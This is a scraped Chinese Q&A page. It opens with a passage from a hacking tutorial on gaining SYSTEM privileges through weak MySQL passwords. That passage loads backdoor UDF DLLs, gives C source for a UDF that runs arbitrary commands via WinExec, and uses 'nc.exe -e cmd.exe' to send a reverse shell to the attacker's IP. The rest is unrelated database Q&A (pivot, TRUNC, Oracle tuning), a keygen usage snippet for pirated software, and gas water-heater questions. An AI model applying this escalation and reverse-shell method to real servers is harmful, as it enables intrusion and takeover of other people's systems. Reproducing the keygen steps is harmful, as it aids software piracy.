这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?

mysql 中支不支持pivot

支持,代码如下:"pivot table" or a "crosstab report"(Note: this page needs to be wikified)SQL Characteristic Functions: Do it without "if", "case", or "GROUP_CONCAT".Yes, there is use for this..."if" statements sometimes cause problemswhen used in combination.The simple secret, and it"s also why they work in almost all databases, is thefollowing functions:o sign (x) returns -1,0, +1 for values x < 0, x = 0, x > 0 respectivelyo abs( sign( x) ) returns 0 if x = 0 else, 1 if x > 0 or x < 0o 1-abs( sign( x) ) complement of the above, since this returns 1 only if x = 0Quick example: sign(-1) = -1, abs( sign(-1) ) = 1, 1-abs( sign(-1) ) = 0Data for full example:CREATE TABLE exams (pkey int(11) NOT NULL auto_increment,name varchar(15),exam int,score int,PRIMARY KEY (pkey));insert into exams (name,exam,score) values ("Bob",1,75);insert into exams (name,exam,score) values ("Bob",2,77);insert into exams (name,exam,score) values ("Bob",3,78);insert into exams (name,exam,score) values ("Bob",4,80);insert into exams (name,exam,score) values ("Sue",1,90);insert into exams (name,exam,score) values ("Sue",2,97);insert into exams (name,exam,score) values ("Sue",3,98);insert into exams (name,exam,score) values ("Sue",4,99);mysql> select * from exams;

SqlServer2005使用pivot时遇到Null的问题

select nvrStuName,sum([1]) as "计算机基础",sum([2]) as "大学语文",sum([3]) as "高等数学",sum([4]) as "英语"from ScoreInfoViewpivot(sum(Score)for intCourseID in ([1],[2],[3],[4]))as pvtgroup by nvrStuName

SQLServer2005中PIVOT的和值计算!

select id,name,a.一季度,b.二季度,c.三季度,d.四季度,e.汇总 from (select id,name,sum(profile) 一季度 where quarter=1 group by id,name) a,(select id,name,sum(profile) 二季度 where quarter=2 group by id,name) b,(select id,name,sum(profile) 三季度 where quarter=3 group by id,name) c,(select id,name,sum(profile) 四季度 where quarter=4 group by id,name) d,(select id,name,sum(profile) 汇总 group by id,name) e,where e.id=a.id and e.name=a.nameand e.id=b.id and e.name=b.nameand e.id=c.id and e.name=c.nameand e.id=d.id and e.name=d.name

请教SQL server 中pivot的详细用法及语法规则

PIVOT用于将列值旋转为列名(即行转列),在SQL Server 2000可以用聚合函数配合CASE语句实现PIVOT的一般语法是:PIVOT(聚合函数(列) FOR 列 in (…) )AS P完整语法:table_sourcePIVOT(聚合函数(value_column)FOR pivot_columnIN(<column_list>))UNPIVOT用于将列明转为列值(即列转行),在SQL Server 2000可以用UNION来实现完整语法:table_sourceUNPIVOT(value_columnFOR pivot_columnIN(<column_list>))注意:PIVOT、UNPIVOT是SQL Server 2005 的语法,使用需修改数据库兼容级别 在数据库属性->选项->兼容级别改为 90具体实例地址我私信发给你

mysql中怎么做pivot

"pivot table" or a "crosstab report"(Note: this page needs to be wikified)SQL Characteristic Functions: Do it without "if", "case", or "GROUP_CONCAT".Yes, there is use for this..."if" statements sometimes cause problemswhen used in combination.The simple secret, and it"s also why they work in almost all databases, is thefollowing functions:o sign (x) returns -1,0, +1 for values x < 0, x = 0, x > 0 respectivelyo abs( sign( x) ) returns 0 if x = 0 else, 1 if x > 0 or x < 0o 1-abs( sign( x) ) complement of the above, since this returns 1 only if x = 0Quick example: sign(-1) = -1, abs( sign(-1) ) = 1, 1-abs( sign(-1) ) = 0Data for full example:CREATE TABLE exams (pkey int(11) NOT NULL auto_increment,name varchar(15),exam int,score int,PRIMARY KEY (pkey));insert into exams (name,exam,score) values ("Bob",1,75);insert into exams (name,exam,score) values ("Bob",2,77);insert into exams (name,exam,score) values ("Bob",3,78);insert into exams (name,exam,score) values ("Bob",4,80);insert into exams (name,exam,score) values ("Sue",1,90);insert into exams (name,exam,score) values ("Sue",2,97);insert into exams (name,exam,score) values ("Sue",3,98);insert into exams (name,exam,score) values ("Sue",4,99);mysql> select * from exams;+------+------+------+-------+| pkey | name | exam | score |+------+------+------+-------+| 1 | Bob | 1 | 75 || 2 | Bob | 2 | 77 || 3 | Bob | 3 | 78 || 4 | Bob | 4 | 80 || 5 | Sue | 1 | 90 || 6 | Sue | 2 | 97 || 7 | Sue | 3 | 98 || 8 | Sue | 4 | 99 |+------+------+------+-------+8 rows in set (0.00 sec)mysql> select name,sum(score*(1-abs(sign(exam-1)))) as exam1,sum(score*(1-abs(sign(exam-2)))) as exam2,sum(score*(1-abs(sign(exam-3)))) as exam3,sum(score*(1-abs(sign(exam-4)))) as exam4from exams group by name;+------+-------+-------+-------+-------+| name | exam1 | exam2 | exam3 | exam4 |+------+-------+-------+-------+-------+| Bob | 75 | 77 | 78 | 80 || Sue | 90 | 97 | 98 | 99 |+------+-------+-------+-------+-------+2 rows in set (0.00 sec)Note, the above pivot table was created with one select statement.Let"s decompose to make the trick clearer, for the second exam:mysql> select name, score, exam, exam-2, sign(exam-2), abs(sign(exam-2)), 1-abs(sign(exam-2)),score*(1-abs(sign(exam-2))) as exam2 from exams;+------+-------+------+--------+--------------+-------------------+---------------------+-------+| name | score | exam | exam-2 | sign(exam-2) | abs(sign(exam-2)) | 1-abs(sign(exam-2)) | exam2 |+------+-------+------+--------+--------------+-------------------+---------------------+-------+| Bob | 75 | 1 | -1 | -1 | 1 | 0 | 0 || Bob | 77 | 2 | 0 | 0 | 0 | 1 | 77 || Bob | 78 | 3 | 1 | 1 | 1 | 0 | 0 || Bob | 80 | 4 | 2 | 1 | 1 | 0 | 0 || Sue | 90 | 1 | -1 | -1 | 1 | 0 | 0 || Sue | 97 | 2 | 0 | 0 | 0 | 1 | 97 || Sue | 98 | 3 | 1 | 1 | 1 | 0 | 0 || Sue | 99 | 4 | 2 | 1 | 1 | 0 | 0 |+------+-------+------+--------+--------------+-------------------+---------------------+-------+8 rows in set (0.00 sec)You may think IF"s would be clean but WATCH OUT!Look what the following gives (INCORRECT !!):

mysql-MySQL数据导入到同数据库的另一张不存在的表,请教我写的有什么问题,创建表的时候ID报错

mysql数据库 CREATE TABLE IF NOT EXISTS PJM_PROJECT_GROUP( "PJM_PROJECT_GROUP_ID" VARCHAR(32) , "CATEGORY_ID" VARCHAR(32) , "RZ_ORG_ID" VARCHAR(32) , "DB_ORG_ID" VARCHAR(32) , "ORG_AGENT_ID" VARCHAR(32), "TITLE" VARCHAR(128) , "CODE" VARCHAR(15) , "MONEY" DECIMAL(16,2) , "CONTRACT_URL" VARCHAR(128) , "INVEST_LOWEST" DECIMAL(16,2) , "INVEST_ADD" DECIMAL(16,2) , "MIN_INCOME" DECIMAL(16,2) , "MAX_INCOME" DECIMAL(16,2) , "TYPE" CHAR(4) , "REPAY_TYPE" CHAR(4) , "SITE_FEE" DECIMAL(16,2) , "STATUS" CHAR(10) , "CREATE_STAFF_ID" VARCHAR(32) , "CREATE_TIME" DATETIME , "UPDATE_STAFF_ID" VARCHAR(32) , "UPDATE_TIME" DATETIME , "CHECK_STAFF_ID" VARCHAR(32) , "CHECK_STAFF_ID" DATETIME ,)CREATE PROCEDURE dataShift()BEGIN INSERT INTO PJM_PROJECT_GROUP("PJM_PROJECT_GROUP_ID","CATEGORY_ID","RZ_ORG_ID","DB_ORG_ID","ORG_AGENT_ID","TITLE","CODE","MIN_INCOME","MAX_INCOME","TYPE","REPAY_TYPE","SITE_FEE") SELECT PROJECT_ID,CATEGORY_ID,RZ_ORG_ID,DB_ORG_ID,ORG_AGENT_ID,TITLE,CODE,YEAR_INCOME,YEAR_INCOME,LOAN_TYPE,REPAY_TYPE,SITE_FEE FROM PJM_PROJECTENDCALL dataShift()错误信息:[Err] 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""PJM_PROJECT_GROUP_ID" VARCHAR(32) , "CATEGORY_ID" VARCHAR(32) , "RZ_ORG_ID"" at line 3

pdmworks.2015.keygen.ssq.exe 怎么用

1。运行“Camnetics_Keygen_SSQ.exe” 2。运行安装程序Camnetics应用4 3 E* a8 t/ ]0 a7 M. |" | 3。pdmworks.2015.keygen.ssq.exe在“注册向导”窗口 选择>全部注册“>”下一步“>,使用SolidWorks串行> 注意!% k T- {" ~! L0 z/ R3 X/ B5 O8 J 如果你看到警告“无效的序列号”,这...

下载mysql可视化工具是出现了keygen.exe是病毒吗

一般来说,keygen.exe文件很可能是病毒或恶意软件,因为它们通常用于非法破解软件,或者在安装软件时强制安装其他恶意软件。建议不要下载和运行这样的文件。相反,建议从官方网站下载并安装MySQL可视化工具,以确保软件的安全性和完整性。

mysql 配置文件中 loose是什么意思啊了

# 开启master semi sync replicationloose_rpl_semi_sync_master_enabled = 1# 开启slave semi syncreplicationloose_rpl_semi_sync_slave_enabled = 1# 等待5秒无ack应答自动切换为异步模式loose_rpl_semi_sync_master_timeout = 5000

oracle数据库运行sql很卡很慢很顿,看等待事件都是cursor:pin s on x,这是啥

详解cursor: pin S wait on X等待事件 ‘cursor: pin * events"等待事件 该类等待事件一般是为了pin相关的子游标 ‘Cursor: pin S on X" 最常见的等待事件, 进程为了共享操作例如执行pin游标而以SHRD S mode申请mutex, 但是未立即获得。原因是该游标被其他进程以EXCL X mode 持有了。 实际该 cursor: pin S wait on X等待事件往往是由于其他因素诱发的。Mutex争用仅仅是问题的症状,但根本原因需要Database Consultant 进一步挖掘。 下面我们列出一些已知的常见案例, 在这些例子中可以看到 我上面提到的 Mutex的争用仅仅是伪争用: 过多的子游标 High Version Counts 过多的子游标版本Version Count可能导致Mutex 争用,一般一个SQL的Version Count不要高于500。 检查High Version Count很简单, 在AWR里就有SQL ordered by High Version Count,也可以写SQL查V$SQL、V$SQLAREA 昂贵的X$、V$视图查询 一些对于V$、X$视图的查询,需要访问X$KGL*之类的fixed table,可能触发Mutex争用。 Mutex持有者得不到CPU Mutex持有者若得不到足够的CPU片可能一直阻塞他人,直到它拿到需要的CPU。 这种情况可能由于OS操作系统的实际情况或者使用Resource Manager而引起。需要配合AWR中的Host CPU、Instance CPu一起看。 已经被KILLED的SESSION仍持有Mutex 当session正持有Mutex,而其对应的Process被强制KILL掉, 则直到PMON彻底清理掉该Dead Process并释放Mutex,其他session才能不再等待。 诊断该类问题,最好能检查PMON的TRACE。 当然也存在部分BUG会导致PMON清理过程非常慢。 举例来说,bug 9312879描述了一种场景:PMON 需要获得某个Mutex以便清理某个dead process,但是该Mutex又被其他进程持有,则PMON甚至无法开始真正清理并释放Mutex。 如果自己搞不定可以找ASKMACLEAN专业ORACLE优化团队成员帮您搞定!

SQL语句优化,怎样将语句ctr559tupxnjq的cost一步步由543调整到86

select * 2 from (select distinct a.rootcodeid SP_CODE, 3 a.parentcodeid DRAWNO, 4 a.codeid TESTCODE, 5 a.parentcode PROFILE, 6 b.desc2 SP_TESTNO, 7 b.desc3 SP_TESTNO_ENG, 8 b.remark COMMENTS, 9 b.version VERSION,10 b.freezeflag STATUS,11 a.relationid12 from mdm_hczxbz_combrelationlog a,13 mdm_hccsgl_code B,14 mdm_hczxbz_modifyrecordlog f15 where a.combsyscode = ‘HCCSGL‘16 AND A.PARENTCOMBSYSCODE = ‘HCCSFA‘17 and a.codeid = b.codeid18 and a.filterid is null19 AND a.relationid = f.relationid20 AND f.LIMSA = 121 AND f.modifytype = 422 and exists (select 123 from mdm_hczxbz_synflag x24 where x.codeid = a.rootcodeid25 and x.synflag = ‘0‘26 and x.errornum = ‘0‘27 and synseq = ‘334248‘)28 and exists (select 129 from mdm_relationsynflag k30 where k.code1 = a.rootcodeid31 and k.code2 = a.parentcodeid32 and k.code3 = a.parentcode33 and k.errornum = ‘0‘34 and k.relationtablename = ‘SP_DRAWS_LIMSA‘)35 and exists (select 136 from mdm_hccsgl_synflag x37 where x.codeid = a.codeid38 and x.synflag = ‘0‘39 and x.errornum = ‘0‘40 and x.synseq = ‘334227‘)41 and exists42 (select 143 from mdm_relationsynflag k44 where k.code1 = a.rootcodeid45 and k.code2 = a.parentcodeid46 and k.code3 = a.codeid47 and k.code4 = a.parentcode48 and k.errornum = ‘0‘49 and k.relationtablename = ‘SP_TESTS_LIMSA‘))50 where rownum < 20执行计划信息如下: 1 Plan Hash Value : 2018468880 2 3 ------------------------------------------------------------------------------------------------------------------------ 4 | Id | Operation | Name | Rows | Bytes | Cost | Time | 5 ------------------------------------------------------------------------------------------------------------------------ 6 | 0 | SELECT STATEMENT | | 1 | 6096 | 543 | 00:00:07 | 7 | * 1 | COUNT STOPKEY | | | | | | 8 | 2 | VIEW | | 1 | 6096 | 543 | 00:00:07 | 9 | * 3 | SORT GROUP BY STOPKEY | | 1 | 463 | 543 | 00:00:07 |10 | 4 | NESTED LOOPS SEMI | | 1 | 463 | 542 | 00:00:07 |11 | 5 | NESTED LOOPS SEMI | | 1 | 405 | 404 | 00:00:05 |12 | 6 | NESTED LOOPS SEMI | | 1 | 389 | 403 | 00:00:05 |13 | 7 | NESTED LOOPS | | 1 | 374 | 402 | 00:00:05 |14 | 8 | NESTED LOOPS | | 1 | 113 | 401 | 00:00:05 |15 | 9 | NESTED LOOPS | | 1 | 102 | 333 | 00:00:04 |16 | 10 | SORT UNIQUE | | 187 | 9537 | 16 | 00:00:01 |17 | * 11 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 187 | 9537 | 16 | 00:00:01 |18 | * 12 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 195 | | 3 | 00:00:01 |19 | * 13 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_COMBRELATIONLOG | 1 | 51 | 333 | 00:00:04 |20 | 14 | BITMAP CONVERSION TO ROWIDS | | | | | |21 | 15 | BITMAP AND | | | | | |22 | 16 | BITMAP CONVERSION FROM ROWIDS | | | | | |23 | * 17 | INDEX RANGE SCAN | INDEX_HCZXBZ_COMBRELATIONLOG_D | 35 | | 1 | 00:00:01 |24 | 18 | BITMAP CONVERSION FROM ROWIDS | | | | | |25 | * 19 | INDEX RANGE SCAN | INDEX_HCZXBZ_COMBRELATIONLOG_F | 35 | | 2 | 00:00:01 |26 | * 20 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_MODIFYRECORDLOG | 1 | 11 | 68 | 00:00:01 |27 | * 21 | INDEX RANGE SCAN | MDM_HCZXBZ_MODIFYRECORDLOG_A | 3709 | | 10 | 00:00:01 |28 | 22 | TABLE ACCESS BY INDEX ROWID | MDM_HCCSGL_CODE | 1 | 261 | 1 | 00:00:01 |29 | * 23 | INDEX UNIQUE SCAN | PK_HCCSGL_CODE | 1 | | 0 | 00:00:01 |30 | * 24 | INDEX RANGE SCAN | UK_MDM_HCZXBZ_SYNSEQ_SYNSEQ | 135 | 2025 | 1 | 00:00:01 |31 | * 25 | INDEX RANGE SCAN | UK_MDM_HCCSGL_SYNSEQ_SYNSEQ | 3380 | 54080 | 1 | 00:00:01 |32 | * 26 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 185 | 10730 | 138 | 00:00:02 |33 | * 27 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 2044 | | 11 | 00:00:01 |34 ------------------------------------------------------------------------------------------------------------------------35 36 Predicate Information (identified by operation id):37 ------------------------------------------38 * 1 - filter(ROWNUM<20)39 * 3 - filter(ROWNUM<20)40 * 11 - filter("K"."ERRORNUM"=0)41 * 12 - access("K"."RELATIONTABLENAME"=‘SP_DRAWS_LIMSA‘)42 * 13 - filter("A"."FILTERID" IS NULL AND "A"."COMBSYSCODE"=‘HCCSGL‘ AND "A"."PARENTCOMBSYSCODE"=‘HCCSFA‘ AND "A"."ROOTCODEID"=TO_NUMBER("K"."CODE1"))43 * 17 - access("A"."PARENTCODEID"=TO_NUMBER("K"."CODE2"))44 * 19 - access("K"."CODE3"="A"."PARENTCODE")45 * 20 - filter(TO_NUMBER("F"."MODIFYTYPE")=4 AND "A"."RELATIONID"="F"."RELATIONID")46 * 21 - access("F"."LIMSA"=1)47 * 23 - access("A"."CODEID"="B"."CODEID")48 * 24 - access("SYNSEQ"=334248 AND "X"."CODEID"="A"."ROOTCODEID" AND "X"."SYNFLAG"=‘0‘ AND "X"."ERRORNUM"=0)49 * 25 - access("X"."SYNSEQ"=334227 AND "X"."CODEID"="A"."CODEID" AND "X"."SYNFLAG"=‘0‘ AND "X"."ERRORNUM"=0)50 * 26 - filter("K"."CODE4" IS NOT NULL AND "K"."ERRORNUM"=0 AND "A"."ROOTCODEID"=TO_NUMBER("K"."CODE1") AND "A"."PARENTCODEID"=TO_NUMBER("K"."CODE2") AND "A"."CODEID"=TO_NUMBER("K"."CODE3") AND51 "K"."CODE4"="A"."PARENTCODE")52 * 27 - access("K"."RELATIONTABLENAME"=‘SP_TESTS_LIMSA‘)由于查询字段中并没有对表mdm_hczxbz_modifyrecordlog f表字段的查询,可以使用局部范围扫描mdm_hczxbz_modifyrecordlog f表,同时修正上面的类型转换,修改后语句如下: 1 select * 2 from (select distinct a.rootcodeid SP_CODE, 3 a.parentcodeid DRAWNO, 4 a.codeid TESTCODE, 5 a.parentcode PROFILE, 6 b.desc2 SP_TESTNO, 7 b.desc3 SP_TESTNO_ENG, 8 b.remark COMMENTS, 9 b.version VERSION,10 b.freezeflag STATUS,11 a.relationid12 from mdm_hczxbz_combrelationlog a, mdm_hccsgl_code B13 where a.combsyscode = ‘HCCSGL‘14 AND A.PARENTCOMBSYSCODE = ‘HCCSFA‘15 and a.codeid = b.codeid16 and a.filterid is null17 and exists (select 118 from mdm_hczxbz_synflag x19 where x.codeid = a.rootcodeid20 and x.synflag = ‘0‘21 and x.errornum = 022 and synseq = 334248)23 and exists (select 124 from mdm_relationsynflag k25 where k.code1 = a.rootcodeid26 and k.code2 = a.parentcodeid27 and k.code3 = a.parentcode28 and k.errornum = 029 and k.relationtablename = ‘SP_DRAWS_LIMSA‘)30 and exists (select 131 from mdm_hccsgl_synflag x32 where x.codeid = a.codeid33 and x.synflag = ‘0‘34 and x.errornum = 035 and x.synseq = 334227)36 and exists (select 137 from mdm_relationsynflag k38 where k.code1 = a.rootcodeid39 and k.code2 = a.parentcodeid40 and k.code3 = a.codeid41 and k.code4 = a.parentcode42 and k.errornum = 043 and k.relationtablename = ‘SP_TESTS_LIMSA‘)44 and exists (select null45 from mdm_hczxbz_modifyrecordlog f46 where a.relationid = f.relationid47 AND f.LIMSA = 148 AND f.modifytype = 4))49 where rownum < 20如上,对mdm_hczxbz_modifyrecordlog的查询,改为exists实现了局部范围扫描。这时候的查询计划,cost为437。Plan Hash Value : 3906393145 ----------------------------------------------------------------------------------------------------------------------| Id | Operation | Name | Rows | Bytes | Cost | Time |----------------------------------------------------------------------------------------------------------------------| 0 | SELECT STATEMENT | | 1 | 6096 | 437 | 00:00:06 || * 1 | COUNT STOPKEY | | | | | || 2 | VIEW | | 1 | 6096 | 437 | 00:00:06 || * 3 | SORT GROUP BY STOPKEY | | 1 | 463 | 437 | 00:00:06 || 4 | NESTED LOOPS SEMI | | 1 | 463 | 436 | 00:00:06 || 5 | NESTED LOOPS SEMI | | 1 | 405 | 298 | 00:00:04 || * 6 | HASH JOIN SEMI | | 1 | 389 | 297 | 00:00:04 || 7 | NESTED LOOPS | | 40 | 13520 | 281 | 00:00:04 || 8 | NESTED LOOPS | | 67 | 13520 | 281 | 00:00:04 || * 9 | HASH JOIN SEMI | | 67 | 5159 | 242 | 00:00:03 || 10 | NESTED LOOPS | | 91 | 5642 | 237 | 00:00:03 || 11 | NESTED LOOPS | | 126 | 5642 | 237 | 00:00:03 || 12 | SORT UNIQUE | | 84 | 924 | 68 | 00:00:01 || * 13 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_MODIFYRECORDLOG | 84 | 924 | 68 | 00:00:01 || * 14 | INDEX RANGE SCAN | MDM_HCZXBZ_MODIFYRECORDLOG_A | 3709 | | 10 | 00:00:01 || * 15 | INDEX RANGE SCAN | INDEX_HCZXBZ_COMBRELATIONLOG_B | 3 | | 1 | 00:00:01 || * 16 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_COMBRELATIONLOG | 1 | 51 | 4 | 00:00:01 || * 17 | INDEX RANGE SCAN | UK_MDM_HCZXBZ_SYNSEQ_SYNSEQ | 135 | 2025 | 5 | 00:00:01 || * 18 | INDEX UNIQUE SCAN | PK_HCCSGL_CODE | 1 | | 0 | 00:00:01 || 19 | TABLE ACCESS BY INDEX ROWID | MDM_HCCSGL_CODE | 1 | 261 | 1 | 00:00:01 || * 20 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 187 | 9537 | 16 | 00:00:01 || * 21 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 195 | | 3 | 00:00:01 || * 22 | INDEX RANGE SCAN | UK_MDM_HCCSGL_SYNSEQ_SYNSEQ | 3380 | 54080 | 1 | 00:00:01 || * 23 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 173 | 10034 | 138 | 00:00:02 || * 24 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 2044 | | 11 | 00:00:01 |----------------------------------------------------------------------------------------------------------------------Predicate Information (identified by operation id):------------------------------------------* 1 - filter(ROWNUM<20)* 3 - filter(ROWNUM<20)* 6 - access("A"."ROOTCODEID"=TO_NUMBER("K"."CODE1") AND "A"."PARENTCODEID"=TO_NUMBER("K"."CODE2") AND "K"."CODE3"="A"."PARENTCODE")* 9 - access("X"."CODEID"="A"."ROOTCODEID")* 13 - filter(TO_NUMBER("F"."MODIFYTYPE")=4)* 14 - access("F"."LIMSA"=1)* 15 - access("A"."RELATIONID"="F"."RELATIONID")* 16 - filter("A"."FILTERID" IS NULL AND "A"."COMBSYSCODE"=‘HCCSGL‘ AND "A"."PARENTCOMBSYSCODE"=‘HCCSFA‘)

SQL中的小数点后的输入位数.

6位

mysql有oracle的trunc吗

TRUNC 语法: TRUNC(x[,y]) 功能: 计算截尾到y位小数的x值. y缺省为0,结果变为一个整数值.如果y是一个负数,那么就截尾到小数点左边对应的位上. trunc(sysdate)=to_date("20121231","yyyymmdd")

sql查询语句中to_char和trunc在限制时间是的区别

to_char 是把时间按指定格式转换成字符串,如:to_char(date,"yyyy-mm-dd")trunc 是对时间进行截取,可以跟自定的截取项 如trunc(to_date("2009-02-21"),month) 对月进行截取得到的日期是2009-02-01

mysql 有trunc函数吗

mysql中没有trunc这个函数。可以使用 SELECT date_format(NOW(),"%Y-%m-%d");SELECT cast(100.65678 as DECIMAL(20,2));

SQLSERVER有类似ORACLE里的TRUNC函数的吗

-字符串聚合,适用于SQL Server 2005及以上--测试数据with tmp(column1,column2) as (select "A","aa" union allselect "A","bb" union allselect "A","cc" union allselect "B","dd" union allselect "B","ee")--用for xml path实现字符串聚合

SQL 中TRUNC 用法

http://baike.baidu.com/view/1291518.html?wtp=tt

mysql serial是什么意思

本表的列必须与外键类型相同!!! 引自mySQL手册:SERIAL is an alias for BIGINT UNSIGNED NOT NULL AUTO_INCREMENT UNIQUE; SERIAL 和 BIGINT 并不完全相同的。 你把“ID SERIAL PRIMARY KEY”改为“ID BIGINT PRIMARY KEY” 或者把"A_ID BIGINT"改为"A_ID SERIAL "就可以创建外键了。

sql server 2008 r2后面带的sp1 sp2 rtm是什么意思

SQL Server 2008 R2的补丁分SP1 , SP2 , SP3 ,您首先应该知道您现在的SQL Server 2008 R2的版本,才可以知道安装的是哪个补丁。 查询版本的步骤,首先进入SSMS,点击新建查询,输入print @@version,按键盘的F5键,就会出来版本的信息。 SQL 2008 R2 RTM 10.50.1600.1 SQL 2008 R2 SP1 10.50.2500.0 SQL 2008 R2 SP2 10.50.4000.0 SQL 2008 R2 SP3 10.50.6000.0 您可以根据对应的版本号安装对应的补丁。

万家乐JSQ24-12W2和12T1有什么区别

万家乐燃气热水器JSQ24-12201和JSQ24-12T1中,J是家用的意思,S是热水器的意思,Q是强制排气式的意思,24是额定热负荷为24kW,12是每分钟可产12kg(升)温升为25K的热水,201和T1是厂家编制的型号。

JSQ20-10QF3一会儿就熄火?

1、使用时间较长,内部接头出现松动导致出现这种故障。2、点火器坏了,打火后几秒钟左右就又会熄掉主要是因为热度感应不够,这点火器就必须要更换掉。3、电池没电了,点火器不能正常工作。4、排烟管道倒灌风也会有此现象,导致打火之后,火被吹灭了。5、可能是热水器的感应针出了问题,导电功能不好。6、电磁阀老化。7、水压低,进入的水比较少,加热一会儿就到达了设定温度,自动熄火。/建议处理方式:1、将JSQ20-10QF3内部接头拆出,重新拧紧,测试问题是否解决,如果没有解决,去维修店购买一个新的接头重新拧紧即可。2、将点火器拆出,根据其原理图,测试点火器的各个参数,如果出现较大误差,那么点火器出现故障,建议去维修店内更换新的点火器。3、找到电池的安装处,检查是否是电池老化,到商店购买相同型号的电池,更换电池即可。4、在排烟口加装风帽就可以解决问题。5、建议直接更换新的热水器。6、根据电磁阀的相关结构,检查并测试其是否损坏,如果损坏,到商店购买相同型号的电磁阀换上即可。7、检查水箱的水是否装满,如果没装满,那么就是因为水压过低,建议加装加压阀。

JsQ20-10爱德热水器洗到澡就熄火是什么毛病?

这是因为你在淋浴龙头那里调节水温幅度太大,不小心把热水关闭了导致的,请采纳。

美的jsq16-8ha多少升

16升。根据美的官网查询显示:美的JSQ16-8HA是一款燃气热水器,其容积为16升。这款热水器适用于家庭使用,可以满足日常生活的用水需求。

JSQ31-16FQ3BPU1/BY字母都表示什么?

JSQ31-16FQ3BPU1/BY 是一个由多个部分组成的编号,其中每个部分都有其特定的意义,下面是每个部分的解释:JSQ31:代表减速机的型号或系列16:代表减速机的减速比或比率F:代表减速机的类型或系列Q:代表减速机的大小或级数3:代表减速机的桥数或轴数B:代表减速机的安装方式或布置形式P:代表减速机的性能等级U1:代表减速机的工作条件等级或适用场合/BY:代表减速机的选配件或特殊要求,其中“BY”可能是指采用特殊材质或特殊要求的轴承。

万家乐jsq24-12t1热水器最小耗气量的设置

显示“PL”(最小耗气量设置)。1、断电后再通电显示屏显示“PP”闪烁;2、3秒内长按“向下”键显示“Fb”;3、显示“Fb”(机型选择),按“开关”键进入代码设置项,按“向上”或“向下,选择“PL”。万家乐jsq24-12t1是一款燃气热水器,智能恒温系统,温差±0.5℃,对温度精确控制,顶部防倒风烟道,防倒风帘设计,外面九级风也不怕,真铜进水口,防止灰尘进入,不怕腐蚀堵塞机器,后背式鳞片进气孔,防止灰尘进入,防止腐蚀机器内部配件。

史密斯jsq31一热水器实时温度怎么看

